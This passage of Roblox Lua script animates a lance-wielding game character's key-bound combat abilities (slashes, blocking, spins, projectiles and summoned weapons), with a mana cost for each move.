- cw(function() c1(law,0.06,3,-1.3,1,-0.2,-160,0,20) end) c1(raw,0.06,3,1.3,1,-0.2,-160,0,-20)
- w(0.5) cw(function() c1(law,0.06,3,-1.3,1,-0.2,30,0,18) end) c1(raw,0.06,3,1.3,1,-0.2,30,0,-18) a.c= true a.b="None" hu.WalkSpeed=ns*1.2 Legz(true)
- elseif mp >= 45 and k=="e" and a.a=="Lance" and a.b=="None" then a.b="Slash" a.c=false mp=mp -45
- Sound(Sounds.Slash,0.35,2) Trail2(9999,Misc["v"].spiketip,0.04,a.s.Lancet,0.8,cf(0,1,0)) rayHit(2,5,ra,cf(0,0,-1.5)*ca(rd(-90),0,0),13,14,20)
- cw(function() c1(hw,0.035,3,0,1.5,0,20,80,0) end) cw(function() c1(tw,0.035,3,0,0,0,0,-80,0) end) cw(function() c1(law,0.035,3,-1,0.5,-0.5,-80,80,0) end)
- cw(function() c1(Misc["v"].han.Weld,0.04,1,0,0.8,0,0,0,0) end) cw(function() c1(Misc["v"].han.Weld,0.04,0,0,-2.25,0,0,0,0) end) c1(raw,0.035,3,1,0.5,0,-50,0,-85)
- w(0.1) rtab(sTrail,Misc["v"].spiketip)
- cw(function() c1(hw,0.04,3,0,1.5,0,0,0,0) end) cw(function() c1(Misc["v"].han.Weld,0.05,1,0,0.8,0,180,0,45) end) cw(function() c1(Misc["v"].han.Weld,0.05,0,0,-2.25,0,90,0,0) end) cw(function() c1(tw,0.04,3,0,0,0,0,0,0) end) cw(function() c1(law,0.05,3,-1.3,1,-0.2,-30,0,18) end) c1(raw,0.04,3,0.7,0.8,0,45,0,-150) a.c=true a.b="None"
- elseif mp >= 80 and k=="t" and a.a=="Lance" and a.b=="None" then a.b="Spin" a.c=false mp=mp -80
- Sound(Sounds.Slash,0.35,2) Trail2(9999,Misc["v"].spiketip,0.04,a.s.Lancet,0.8,cf(0,1,0))
- cw(function() c1(Misc["v"].han.Weld,0.03,1,0,0.8,0,0,0,0) end) cw(function() c1(Misc["v"].han.Weld,0.03,0,0,-2.25,0,0,0,55) end) cw(function() c1(law,0.035,3,-1,0.5,-0.5,-86,15,0) end) c1(raw,0.06,3,1,0.5,0,0,0,-120) c1(raw,0.06,3,1,0.5,0,-86,-15,0) w(0.15)
- cw(function() for i=1,3 do rayHit(1,5,Misc["v"].han2,ca(rd(-90),0,0),6,14,20) w(4/3) end end) c1(tw,0.015,3,0,0,0,0,-360*3,0) cleanweld(tw,"a1")
- w(0.1) rtab(sTrail,Misc["v"].spiketip)
- cw(function() c1(Misc["v"].han.Weld,0.05,1,0,0.8,0,180,0,45) end) cw(function() c1(Misc["v"].han.Weld,0.05,0,0,-2.25,0,90,0,0) end) cw(function() c1(law,0.05,3,-1.3,1,-0.2,-30,0,18) end) c1(raw,0.04,3,0.7,0.8,0,45,0,-150) a.c=true a.b="None"
- elseif mp >= 10 and k=="r" and a.a=="Lance" and a.b=="None" then a.b="Block" a.c=false mp=mp -10
- Sound(Sounds.Slash,1.4,1) Block.Value=true c1(law,0.05,3,-1.1,0.5,-0.9,-90,85,0)
- hu.WalkSpeed=ns*0.3 Sound(Sounds.Block,1,1) local b1=pa(m,"","Wedge",0,0,0,false,false,0,Misc["v"].shield.Reflectance,ts(Misc["v"].shield.BrickColor)) local b1m=it("SpecialMesh",b1) b1m.MeshType="Wedge" b1m.Scale=v3(0.2,3,2.5) b1:BreakJoints() b1w=weld(b1,Misc["v"].shield,b1,0,0,0,0,0,rd(90))
- local b2=pa(m,"","Wedge",0,0,0,false,false,0,Misc["v"].shield.Reflectance,ts(Misc["v"].shield.BrickColor)) local b2m=it("SpecialMesh",b2) b2m.MeshType="Wedge" b2m.Scale=v3(0.2,3,2.5) b2:BreakJoints() b2w=weld(b2,Misc["v"].shield,b2,0,0,0,rd(180),0,rd(-90))
- b1m.Scale=b1m.Scale*5 b2m.Scale=b2m.Scale*5 Sound(Sounds.Unsheath,1.5,1) for i=0,1,0.1 do b1w.C0=cf(-3*i,0,0)*ca(0,0,rd(90)) b2w.C0=cf(3*i,0,0)*ca(rd(0),rd(180),rd(90)) w() end
- repeat w() mp=mp - 0.5 until mp < 1 or ky=="r"
- Sound(Sounds.Unsheath,1.5,1) for i=1,0,-0.1 do b1w.C0=cf(-3*i,0,0)*ca(0,0,rd(90)) b2w.C0=cf(3*i,0,0)*ca(rd(0),rd(180),rd(90)) w() end
- b1:Remove'' b2:Remove'' hu.WalkSpeed=ns*0.75
- Block.Value=false c1(law,0.05,3,-1.3,1,-0.2,-30,0,18) a.c=true a.b="None"
- elseif mp >= 25 and k=="f" and a.a=="Lance" and a.b=="None" then a.b="Rapid" a.c=false mp=mp -25 hu.WalkSpeed=ns*0.5
- Trail2(9999,Misc["v"].spiketip,0,a.s.Lancet,0.8,cf(0,1,0)) cw(function() c1(tw,0.05,3,0,0,0,0,-90,0) end) cw(function() c1(hw,0.05,3,0,1.5,0,0,90,0) end) cw(function() c1(law,0.035,3,-1,0.5,-0.5,-80,80,0) end)
- cw(function() c1(Misc["v"].han.Weld,0.04,1,0,0.8,0,0,0,0) end) cw(function() c1(Misc["v"].han.Weld,0.04,0,0,-2.25,0,0,0,0) end) c1(raw,0.035,3,1,0.5,0,0,0,-90)
- local bgt=it("BodyGyro",to) bgt.maxTorque=v310 bgt.D=50 local fenci=-0.5 local tyms=0 repeat tyms=tyms + 1 if tyms%5 == 0 then Sound(Sounds.Slash,1.1,1) end if tyms%2 == 0 then if fenci == -0.5 then fenci=1.8 else fenci=-0.5 end c1(raw,1,3,1+fenci,0.5,0,rn(-6,6),0,-90+rn(-11,11)) end if tyms%8==0 then rayHit(0.5,1,ra,ca(rd(-90),0,0),13,5,8) end bgt.cframe=cf(to.Position,v3(mou.Hit.p.x,to.Position.y,mou.Hit.p.z)) mp=mp -2 w() until mp < 2 or ky=="f"
- bgt:Remove'' w(0.1) rtab(sTrail,Misc["v"].spiketip)
- hu.WalkSpeed=ns*0.75 cw(function() c1(tw,0.05,3,0,0,0,0,0,0) end) cw(function() c1(hw,0.05,3,0,1.5,0,0,0,0) end) cw(function() c1(Misc["v"].han.Weld,0.05,1,0,0.8,0,180,0,45) end) cw(function() c1(Misc["v"].han.Weld,0.05,0,0,-2.25,0,90,0,0) end) cw(function() c1(law,0.05,3,-1.3,1,-0.2,-30,0,18) end) c1(raw,0.04,3,0.7,0.8,0,45,0,-150) a.c=true a.b="None"
- elseif k=="c" and a.a=="Lance" and a.b=="None" then a.b="Sit" a.c=false
- Legz(false) cw(function() c1(tw,0.05,3,0,-1.5,0,-10,0,0) end) cw(function() c1(llw,0.1,3,-0.5,-1,0,-80,-28,0) end) c1(rlw,0.1,3,0.5,-1,0,-80,28,0) hu.WalkSpeed=0 cw(function() while a.b == "Sit" do addmp(2) w() end end) a.c=true
- elseif k=="c" and a.a=="Lance" and a.b=="Sit" and a.c then
- cw(function() c1(tw,0.1,3,0,0,0,0,0,0) end) cw(function() c1(llw,0.1,3,-0.5,-1,0,0,0,0) end) c1(rlw,0.1,3,0.5,-1,0,0,0,0) Legz(true) hu.WalkSpeed=ns*0.75 a.b="None"
- elseif mp > 50 and k=="q" and a.a=="Lance" and a.b=="None" then a.b="GroundSmash" a.c=false Legz(false) mp=mp-50 cw(function() c1(Misc["v"].han.Weld,0.07,1,0,0.8,0,0,0,0) end) cw(function() c1(Misc["v"].han.Weld,0.07,0,0,-2.25,0,0,0,10) end)
- Trail2(9999,Misc["v"].spiketip,0,a.s.Lancet,0.8,cf(0,1,0)) cw(function() c1(law,0.07,3,-1,1,0.3,60,0,200) end) cw(function() c1(raw,0.07,3,1,1,0.3,60,0,-200) end)
- cw(function() c1(llw,0.07,3,-0.5,0,-0.6,10,0,0) end) cw(function() c1(rlw,0.07,3,0.5,-0.8,0,80,0,0) end)
- c1(tw,0.05,3,0,-1.2,-0.6,-10,0,0)
- w(0.1) GlowMesh(false,asset .. Decs.Crown,to,v3(12,5,12),raigcol2,cf(0,-2,0))
- rayHit(2.5,5,Misc["v"].han2,ca(rd(-90),0,0),7,25,30)
- hu.WalkSpeed=ns*0.4 local bf=it("BodyForce",t) bf.force=v3(0,9000,0) game:service'Debris':AddItem(bf,0.3)
- hu.WalkSpeed=ns*2 cw(function() c1(rlw,0.07,3,0.5,0,-0.6,10,0,0) end) cw(function() c1(llw,0.07,3,-0.5,-0.8,0,80,0,0) end) c1(tw,0.045,3,0,-1.2,-0.6,360,0,0) cleanweld(tw,"a1")
- cw(function() c1(law,0.1,3,-1,1,0.3,-100,0,200) end) c1(raw,0.1,3,1,1,0.3,-100,0,-200)
- hu.WalkSpeed=ns*0.75 GlowMesh(false,asset .. Decs.Crown,to,v3(8,5,10),raigcol2,cf(0,-2,-11)) Sound(Sounds.Smash,0.7,1) SplashDmg(false,Misc["v"].spiketip.Position,25,10,65) w(0.25)
- rtab(sTrail,Misc["v"].spiketip)
- cw(function()c1(tw,0.05,3,0,0,0,0,0,0)end) cw(function() c1(llw,0.05,3,-0.5,-1,0,0,0,0) end) cw(function() c1(rlw,0.05,3,0.5,-1,0,0,0,0) end) cw(function() c1(hw,0.05,3,0,1.5,0,0,0,0) end) cw(function() c1(Misc["v"].han.Weld,0.05,1,0,0.8,0,180,0,45) end) cw(function() c1(Misc["v"].han.Weld,0.05,0,0,-2.25,0,90,0,0) end) cw(function() c1(law,0.05,3,-1.3,1,-0.2,-30,0,18) end) c1(raw,0.04,3,0.7,0.8,0,45,0,-150) Legz(true) a.b="None" a.c=true
- elseif mp > 210 and k=="n" and a.a=="Lance" and a.b=="None" then a.b="LanceThrow" a.c=false mp=mp-20 cw(function() c1(Misc["v"].han.Weld,0.07,1,0,0.8,0,0,0,0) end) cw(function() c1(Misc["v"].han.Weld,0.07,0,0,-2.25,0,0,0,55) end)
- Sound(Sounds.Slash,0.35,2) cw(function() c1(Misc["v"].han.Weld,0.03,1,0,0.8,0,0,0,0) end) cw(function() c1(Misc["v"].han.Weld,0.03,0,0,-2.25,0,0,0,55) end) cw(function() c1(law,0.035,3,-1,0.5,-0.5,-86,15,0) end) c1(raw,0.06,3,1,0.5,0,0,0,-120) c1(raw,0.06,3,1,0.5,0,-86,-15,0)
- Trail2(9999,Misc["v"].spiketip,0.04,a.s.Lancet,0.8,cf(0,1,0)) c1(tw,0.08,1,0,0,0,0,-360,0) cleanweld(tw,"a1") rtab(sTrail,Misc["v"].spiketip) a.s.Lance(false) ThrowLance(Misc["v"])
- cw(function() c1(law,0.05,3,-1.3,1,-0.2,30,0,18) end) c1(raw,0.04,3,0.7,0.8,0,-30,0,20) Misc["v"]=it("Model",m) mp=mp-180
- cw(function() c1(law,0.15,3,-1.3,1,-0.2,30,0,18) end) c1(raw,0.15,3,1.5,1,-0.2,-40,0,12)
- local han=pa(Misc[k],"han","Block",0.75,1.75,0.75,false,false,0,0,"Dark stone grey") it("CylinderMesh",han) local hanw=weld(han,ra,han,0,-2.25,0,rd(90),0,0) hanw.C1=cf(0,0.8,0)
- CreateLance() a.s.Lance(true) cw(function() c1(Misc["v"].han.Weld,0.05,1,0,0.8,0,180,0,45) end) cw(function() c1(Misc["v"].han.Weld,0.05,0,0,-2.25,0,90,0,0) end) cw(function() c1(law,0.05,3,-1.3,1,-0.2,-30,0,18) end) c1(raw,0.04,3,0.7,0.8,0,45,0,-150) a.c=true a.b="None"
- elseif mp > 100 and k=="x" and a.a=="Lance" and a.b=="None" then a.s.Lance(false) a.b="Kick" a.c=false mp=mp-100 cw(function() c1(Misc["v"].han.Weld,0.07,1,0,0.8,0,0,0,0) end) cw(function() c1(Misc["v"].han.Weld,0.07,0,0,-2.25,0,90,0,30) end)
- cw(function() c1(law,0.07,3,-1,1,0.3,60,0,200) end) c1(raw,0.07,3,1,1,0.3,60,0,-200) w(0.3) cw(function() c1(law,0.07,3,-1,0.5,-0.4,-90,0,200) end) cw(function() c1(raw,0.07,3,1,0.5,-0.4,-90,0,-200) end) c1(tw,0.07,0,0,2,0,0,0,0) w(0.2)
- cw(function() c1(Misc["v"].han.Weld,0.07,0,0,-2.25,0,90,0,-90) end) hu.WalkSpeed=0 cw(function() c1(tw,0.07,1,0,3,0,0,0,0) end) cw(function() c1(tw,0.07,0,0,2,0,0,0,-90) end) cw(function() c1(law,0.07,3,-1,1,0,0,0,205) end) c1(raw,0.07,3,1,1,0,0,0,-180)
- rayHit(3,3,rl,cf(0.7,0,0)*ca(rd(-90),0,0),6,12,18) Trail2(9999,rl,0.04,"",0.4,cf(0,-2.25,0)) c1(tw,0.02,1,0,3,0,-360*2,0,0) cleanweld(tw,"a1") w(0.2) rtab(sTrail,rl)
- w(0.25) c1(tw,0.08,0,0,10,0,0,0,-90) cw(function() c1(tw,0.1,1,0,0,0,0,0,0) end) cw(function() c1(tw,0.05,0,0,0,0,0,0,0) end) hu.WalkSpeed=ns*0.75 a.s.Lance(true) cw(function() c1(Misc["v"].han.Weld,0.05,1,0,0.8,0,180,0,45) end) cw(function() c1(Misc["v"].han.Weld,0.05,0,0,-2.25,0,90,0,0) end) cw(function() c1(law,0.05,3,-1.3,1,-0.2,-30,0,18) end) c1(raw,0.04,3,0.7,0.8,0,45,0,-150) a.c=true a.b="None"
- elseif mp >= 70 and k=="y" and a.a=="Lance" and a.b=="None" then a.b="Combo2" a.c=false mp=mp -70
- Sound(Sounds.Slash,1.4,2) Trail2(9999,la,0.04,ts(la.BrickColor),0.5,cf(0,-2.25,0)) cw(function() c1(hw,0.08,3,0,1.5,0,-20,-90,0) end) cw(function() c1(tw,0.08,3,0,0,0,0,90,0) end) c1(law,0.08,3,-1,0.5,0,0,0,90)
- local rhit,aihu=rayHit2(la,ca(rd(-90),0,0),6) if rhit and aihu and aihu.Parent:findFirstChild("Torso") then hu.WalkSpeed=0 aihu.PlatformStand=true local vto=aihu.Parent.Torso Sound(Sounds.Smash,1,1) Dmgz(false,aihu,rn(18,25),vto) local aibp=it("BodyPosition",vto) aibp.maxForce=v310 aibp.position=vto.Position + v3(0,7,0) + ((to.CFrame*cf(0,0,-4)).p - to.Position)
- rtab(sTrail,la) c1(law,0.065,3,-0.7,0,0,-160,0,40)
- cw(function() c1(Misc["v"].han.Weld,0.2,1,0,0.8,0,0,0,0) end) cw(function() c1(Misc["v"].han.Weld,0.2,0,0,-2.25,0,0,0,0) end)
- cw(function() c1(hw,0.08,3,0,1.5,0,-40,80,0) end) cw(function() c1(tw,0.08,3,0,0,0,0,-80,0) end) cw(function() c1(raw,0.08,3,1,0.5,0,20,45,-100) c1(raw,0.08,3,1,0.5,-0.5,-150,45,-100) end)
- Trail2(9999,Misc["v"].spiketip,0.04,a.s.Lancet,0.8,cf(0,1,0)) Sound(Sounds.Slash,0.35,2) rayHit(2,5,ra,cf(0,0,-1.5)*ca(rd(-90),0,0),13,24,28) w(0.1)
- cw(function() w(0.5) aibp:Remove'' w() vto.Velocity=(cf(to.Position,vto.Position)*ca(0,rd(15),0)).lookVector*60 w(0.5) aihu.PlatformStand=false end) c1(law,0.04,3,-1,0.5,-0.5,-120,-60,0) w(0.1) rtab(sTrail,Misc["v"].spiketip)
- else w(0.8) rtab(sTrail,la) end
- hu.WalkSpeed=ns*0.75 cw(function() c1(hw,0.04,3,0,1.5,0,0,0,0) end) cw(function() c1(Misc["v"].han.Weld,0.05,1,0,0.8,0,180,0,45) end) cw(function() c1(Misc["v"].han.Weld,0.05,0,0,-2.25,0,90,0,0) end) cw(function() c1(tw,0.04,3,0,0,0,0,0,0) end) cw(function() c1(law,0.05,3,-1.3,1,-0.2,-30,0,18) end) c1(raw,0.04,3,0.7,0.8,0,45,0,-150) a.c=true a.b="None"
- elseif mp >= 90 and k=="g" and a.a=="Lance" and a.b=="None" then a.b="Gun" a.c=false mp=mp -90
- a.s.Lance(false) Misc["v"].han2.Weld.C0=cf(0,-1.25,0) Trail2(9999,Misc["v"].spiketip,0,a.s.Lancet,0.8,cf(0,1,0)) cw(function() c1(tw,0.05,3,0,0,0,0,-60,0) end) cw(function() c1(hw,0.05,3,0,1.5,0,0,60,0) end) cw(function() c1(law,0.035,3,-1,0.5,-0.5,0,0,75) end)
- cw(function() c1(Misc["v"].han.Weld,0.04,1,0,0.8,0,0,0,0) end) cw(function() c1(Misc["v"].han.Weld,0.04,0,0,-2.25,0,0,0,0) end) c1(raw,0.035,3,1,0.5,0,-30,0,-95)
- rtab(sTrail,Misc["v"].spiketip) w(0.2) for i=0,1,0.1 do Misc["v"].spiketip.Weld.C0=cf(-0.8*i,3.2*i,0) Misc["v"].spiketip.Weld.C1=cf(0,-4+(4*i),0)*ca(0,0,rd(-135*i)) w() end w(0.1) for i=1,3 do GlowMesh(true,"Sphere",Misc["v"].spike,v3(9,9,9),raigcol2,cf(rn(-15,15)/10,6+rn(-10,10)/10,rn(-15,15)/10)) end rt=pa(m,"","Block",0,0,0,false,false,1,0,"") rtw=weld(rt,Misc["v"].spike,rt,0,5.5,0,0,0,0)
- ShootLanceBullet(rt,1,35) local smok=it("Smoke",rt) smok.RiseVelocity=15 smok.Size=9 smok.Opacity=0.7 smok.Color=bc("Really black").Color cw(function() c1(hw,0.2,3,0,1.5,0,-20,90,0) end) c1(raw,0.2,3,1,0.5,0,-30,0,-120) c1(raw,0.35,3,1,0.5,0,-30,0,-103)
- w(0.8) smok.Enabled=false w(0.2) for i=1,0,-0.1 do Misc["v"].spiketip.Weld.C0=cf(-0.8*i,3.2*i,0) Misc["v"].spiketip.Weld.C1=cf(0,-4+(4*i),0)*ca(0,0,rd(-135*i)) w() end game:service'Debris':AddItem(rt,2) a.s.Lance(true) cw(function() c1(tw,0.05,3,0,0,0,0,0,0) end) cw(function() c1(hw,0.05,3,0,1.5,0,0,0,0) end) cw(function() c1(Misc["v"].han.Weld,0.05,1,0,0.8,0,180,0,45) end) cw(function() c1(Misc["v"].han.Weld,0.05,0,0,-2.25,0,90,0,0) end) cw(function() c1(law,0.05,3,-1.3,1,-0.2,-30,0,18) end) c1(raw,0.04,3,0.7,0.8,0,45,0,-150) a.c=true a.b="None"
- elseif mp >= 100 and k=="z" and a.a=="Lance" and a.b=="None" then a.b="SummonLance" a.c=false mp=mp -100
- cw(function() c1(tw,0.07,3,0,0,0,0,65,0) end) cw(function() c1(hw,0.07,3,0,1.5,0,-15,-65,0) end) c1(law,0.07,3,-1,1,-0.5,-70,-65,0) w(0.2) cw(function() Sound(Sounds.Ghost,0.9,2) for i=1,5 do SummonProjectile(to,cf(0,-2.5,-2.5+(-i*6)),1+(i/8),asset .. Decs.Spike,15,"Really black",v3(0.8,7.5,0.8)) w(0.1) end end) cw(function() c1(hw,0.07,3,0,1.5,0,-50,-65,0) end) c1(law,0.07,3,-1,1,-0.5,-160,-65,0) w(1)
- Sound(Sounds.Imbue,1.5,2) cw(function() c1(tw,0.05,3,0,0,0,0,0,0) end) cw(function() c1(hw,0.05,3,0,1.5,0,0,0,0) end) cw(function() c1(Misc["v"].han.Weld,0.05,1,0,0.8,0,180,0,45) end) cw(function() c1(Misc["v"].han.Weld,0.05,0,0,-2.25,0,90,0,0) end) cw(function() c1(law,0.05,3,-1.3,1,-0.2,-30,0,18) end) c1(raw,0.04,3,0.7,0.8,0,45,0,-150) a.c=true a.b="None"
- elseif mp >= 300 and k=="b" and a.a=="Lance" and a.b=="None" then a.b="LanceBarrage" a.c=false mp=mp -300
- GlowMesh(false,asset .. Decs.Crown,to,v3(12,5,12),raigcol2,cf(0,-2,0)) Legz(false) cw(function() c1(llw,0.05,3,-0.5,-1,0,-50,0,0) end) cw(function() c1(rlw,0.05,3,0.5,-1,0,-50,0,0) end) cw(function() c1(tw,0.05,3,0,10,0,0,-90,-50) end) cw(function() c1(hw,0.05,3,0,1.5,0,0,90,0) end) cw(function() c1(Misc["v"].han.Weld,0.05,1,0,0.8,0,0,0,0) end) cw(function() c1(Misc["v"].han.Weld,0.05,0,0,-2.25,0,0,0,0) end) cw(function() c1(law,0.05,3,-1.3,1,-0.2,-30,0,18) end)
- c1(raw,0.05,3,1,0,-0.7,-140,0,-150) Misc["v"].han.Weld.Part0 = ll Misc["v"].han.Weld.C0 = cf(0.5,-1,0)*ca(0,0,rd(10)) cw(function() c1(llw,0.07,3,-0.5,-1,0,0,0,10) end) cw(function() c1(rlw,0.07,3,0.5,-1,0,0,0,-10) end) cw(function() c1(tw,0.07,3,0,11,0,1,-90,0) end)
- hu.WalkSpeed = ns*2 cw(function() c1(law,0.07,3,-1,0.6,0,0,0,110) end) c1(raw,0.07,3,1,0.5,0,0,0,-70) local spining = true
- local rt = pa(m,"","Block",0,0,0,false,false,0,1,"") local rtw = weld(rt,t,rt,0,0.5,0,0,0,rd(-20)) rtw.C1 = ca(0,rd(90),0)
- local mzs = it("Model",m) local chim = 0 for i=0,360,30 do chim = chim+1 local shs = pa(mzs,"han" ..chim,"Block",0,0,0,false,false,0.2,0,"White") it("CylinderMesh",shs).Scale = v3(1,2,1)*5
- local sh2 = pa(shs,"spi","Block",0,0,0,false,false,0.2,0,"White") local sh2m = it("SpecialMesh",sh2) sh2m.MeshType = "FileMesh" sh2m.MeshId = asset .. Decs.Spike sh2m.Scale = v3(1.2,10,1.2)
- local shs3 = weld(shs,rt,shs,0,0,0,rd(0),rd(i),0) shs3.C1 = cf(0,-11,0)*ca(rd(-90),0,0) local shs4 = weld(sh2,shs,sh2,0,4.6,0,0,0,0)
- end cw(function() local ty = 0 repeat ty = ty + 1 if ty%5 == 0 then GlowMesh(true,asset .. Decs.Crown,Misc["v"].spiketip,v3(6,1.25,6),raigcol2,cf(0,0,0)*ca(rd(180),rd(ty*3),0)) end rtw.C0 = rtw.C0 *ca(0,rd(10),0) w() until not spining end)
- for si=1,24 do local xi = si if xi > 12 then xi = xi - 12 end mzs["han" ..xi].spi.Transparency = 1 cw(function() w(0.08) for ii=1,0.2,-0.05 do mzs["han" ..xi].spi.Transparency = ii w() end end)
- ShootSpike(9999999,nil,"White",1,7.5,cf(mzs["han" ..xi].spi.Position,mou.hit.p),false,3,t) w() Sound(Sounds.Unsheath,1.6,1) w(0.17) end for i,v in pairs(mzs:children()) do cw(function() for xi=0.2,1,0.1 do v.Transparency = xi v.spi.Transparency = xi w() end end) w(0.05) end w(0.6) spining = false
- cw(function() c1(llw,0.05,3,-0.5,-1,0,-90,0,0) end) cw(function() c1(rlw,0.05,3,0.5,-1,0,-90,0,0) end) cw(function() c1(tw,0.05,3,0,8.5,0,0,-90,-50) end) cw(function() c1(Misc["v"].han.Weld,0.05,1,0,0.8,0,0,0,0) end) cw(function() c1(Misc["v"].han.Weld,0.05,0,0,-2.25,0,0,0,0) end) cw(function() c1(law,0.05,3,-1.3,1,-0.2,-30,0,18) end)
- c1(raw,0.05,3,1,0,-0.7,-140,0,-150) cw(function() c1(llw,0.07,3,-0.5,-1,0,0,0,0) end) cw(function() c1(rlw,0.07,3,0.5,-1,0,0,0,0) end) Misc["v"].han.Weld.Part0 = ra Misc["v"].han.Weld.C0 = cf(0,-2.25,0) cw(function() c1(Misc["v"].han.Weld,0.05,1,0,0.8,0,180,0,45) end) cw(function() c1(Misc["v"].han.Weld,0.05,0,0,-2.25,0,90,0,0) end) cw(function() c1(tw,0.05,3,0,0,0,0,0,0) end) cw(function() c1(hw,0.05,3,0,1.5,0,0,0,0) end) cw(function() c1(Misc["v"].han.Weld,0.05,1,0,0.8,0,180,0,45) end) cw(function() c1(Misc["v"].han.Weld,0.05,0,0,-2.25,0,90,0,0) end) cw(function() c1(law,0.05,3,-1.3,1,-0.2,-30,0,18) end) hu.WalkSpeed=ns*0.75 c1(raw,0.04,3,0.7,0.8,0,45,0,-150) a.c=true a.b="None" Legz(true) mzs:Remove''
- elseif mp >= 500 and k=="u" and a.a=="Lance" and a.b=="None" then a.b="Swords" a.c=false mp=mp-500
- local cr1 = pa(workspace.CurrentCamera,"","Block",0.5,0,4,false,false,0.5,0,"White") local cr1w = weld(cr1,to,cr1,0,0,-46,0,rd(135),0) local cr2 = pa(workspace.CurrentCamera,"","Block",0.5,0,4,false,false,0.5,0,"White") local cr2w = weld(cr2,to,cr2,0,0,-46,0,rd(45),0)
- cw(function() c1(tw,0.05,3,0,0,0,0,-90,0) end) cw(function() c1(hw,0.05,3,0,1.5,0,0,90,0) end) cw(function() c1(Misc["v"].han.Weld,0.05,1,0,0.8,0,0,0,0) end) cw(function() c1(Misc["v"].han.Weld,0.05,0,0,-2.25,0,0,0,0) end) c1(raw,0.05,3,1,0.5,0,0,0,-90)
- Misc["v"].han.Weld.Part0 = to c1(Misc["v"].han.Weld,1,3,0,0.5,-3,-90,0,0) cw(function() c1(law,0.05,3,-1,0.5,0,45,0,135) end) cw(function() c1(raw,0.05,3,1,0.5,0,45,0,-135) end) cw(function() c1(tw,0.05,3,0,0,0,0,0,0) end) c1(hw,0.05,3,0,1.5,0,0,0,0)
- local spinin = true local rt = pa(m,"","Block",0,0,0,false,false,1,0,"") local rtw = weld(rt,ra,rt,0,-15,-1,0,0,0)
- local rmzs = it("Model",m) local chim = 0 for i=0,360,360/12 do chim = chim+1 local shs = pa(rmzs,"han" ..chim,"Block",0,0,0,false,false,1,0,"Institutional white") local shsm = it("SpecialMesh",shs) shsm.MeshType = "FileMesh" shsm.MeshId = Decs.Sword1 shsm.Scale = v3(1.8,1.4,1.2)
- local shs3 = weld(shs,rt,shs,0,0,0,rd(0),rd(i),0) shs3.C1 = cf(0,0,-8)*ca(rd(0),0,0)
- end local lt = pa(m,"","Block",0,0,0,false,false,1,0,"") local ltw = weld(lt,la,lt,0,-22,-1,0,0,0)
- local lmzs = it("Model",m) local chim = 0 for i=0,360,360/8 do chim = chim+1 local shs = pa(lmzs,"han" ..chim,"Block",0,0,0,false,false,1,0,"Institutional white") local shsm = it("SpecialMesh",shs) shsm.MeshType = "FileMesh" shsm.MeshId = Decs.Sword1 shsm.Scale = v3(1.8,1.4,1.2)
- local shs3 = weld(shs,lt,shs,0,0,0,rd(0),rd(i),0) shs3.C1 = cf(0,0,-6)*ca(rd(0),0,0)
- end cw(function() cw(function() for x,v in pairs(lmzs:children()) do w(0.06) cw(function() Sound(Sounds.Unsheath,1.4,1,v) for i=1,0.4,-0.05 do w() v.Transparency = i end Sound(Sounds.Slash,1.4,1,v) end) end
- end) cw(function() for x,v in pairs(rmzs:children()) do w(0.06) cw(function() Sound(Sounds.Unsheath,1.4,1,v) for i=1,0.4,-0.05 do w() v.Transparency = i end Sound(Sounds.Slash,1.4,1,v) end) end end) repeat rtw.C0 = rtw.C0 *ca(0,rd(8),0) ltw.C0 = ltw.C0 *ca(0,rd(-8),0) w() until not spinin end)
- w(0.5) cw(function() c1(law,0.025,3,-1,0.5,0,-90,0,90) end) cw(function() c1(raw,0.025,3,1,0.5,0,-90,0,-90) end)
- w(2.5) for i=0,1,0.1 do for x,v in pairs(lmzs:children()) do v.Weld.C1 = cf(0,-3*i,-6+(13*i))*ca(rd(-120*i),0,0) end for x,v in pairs(rmzs:children()) do v.Weld.C1 = cf(0,-5*i,-8+(19*i))*ca(rd(-120*i),0,0) end w() end for i=1,#lmzs:children() do local v = lmzs["han" ..i] Sound(Sounds.Unsheath,1.6,1,v) ShootProjectile(v,cf(v.Position,(to.CFrame*cf(0,0,-40)).p),ca(rd(180),0,0),5,7,50) v.Transparency = 1 w(0.1) end for i=1,#rmzs:children() do local v = rmzs["han" ..i] Sound(Sounds.Unsheath,1.6,1,v) ShootProjectile(v,cf(v.Position,(to.CFrame*cf(0,0,-40)).p),ca(rd(180),0,0),5,7,50) v.Transparency = 1 w(0.1) end fade(cr1,0.1) fade(cr2,0.1) w(0.25)
- rayHit(2,5,Misc["v"].han,cf(0,0,0)*ca(rd(-90),0,0),14,25,30) Trail2(9999,Misc["v"].spiketip,0,"Black",0.8,cf(-2,0,0)) Trail2(9999,Misc["v"].spike,0,"White",0.8,cf(2,5,0)) Trail2(9999,Misc["v"].han,0,a.s.Lancet,0.5,cf(0,1,0))
- cw(function() for x=3,100,3 do if x%6 == 0 then local hax = true if x%12 == 0 then hax = false end GlowMesh(hax,asset .. Decs.Spike,Misc["v"].spike,v3(3,20,3),raigcol2,cf(0,0,0)) end w() end end) Sound(Sounds.Ghost,0.8,1.5) c1(Misc["v"].han.Weld,0.03,3,0,0.5,-45,-90,0,0) GlowMesh(false,asset .. Decs.Ring,to,v3(20,20,10),raigcol2,cf(0,0,-57)*ca(0,0,0)) Sound(Sounds.Imbue,0.8,1.5)
- rtab(sTrail,Misc["v"].spiketip) rtab(sTrail,Misc["v"].spike) rtab(sTrail,Misc["v"].han) w(0.5) cw(function() c1(Misc["v"].han.Weld,0.05,3,0,0.5,-3,-90,0,0) end) cw(function() c1(tw,0.05,3,0,0,0,0,-90,0) end) cw(function() c1(hw,0.05,3,0,1.5,0,0,90,0) end) c1(raw,0.05,3,1,0.5,0,0,0,-90) w(0.5) c1(Misc["v"].han.Weld,1,3,0,-2.25,0,0,0,0)
- lt:Remove'' rt:Remove'' Misc["v"].han.Weld.Part0 = ra Misc["v"].han.Weld.C0 = cf(0,-2.25,0) cw(function() c1(Misc["v"].han.Weld,0.05,1,0,0.8,0,180,0,45) end) cw(function() c1(Misc["v"].han.Weld,0.05,0,0,-2.25,0,90,0,0) end) cw(function() c1(tw,0.05,3,0,0,0,0,0,0) end) cw(function() c1(hw,0.05,3,0,1.5,0,0,0,0) end) cw(function() c1(Misc["v"].han.Weld,0.05,1,0,0.8,0,180,0,45) end) cw(function() c1(Misc["v"].han.Weld,0.05,0,0,-2.25,0,90,0,0) end) cw(function() c1(law,0.05,3,-1.3,1,-0.2,-30,0,18) end) c1(raw,0.04,3,0.7,0.8,0,45,0,-150) a.c=true a.b="None" Legz(true)
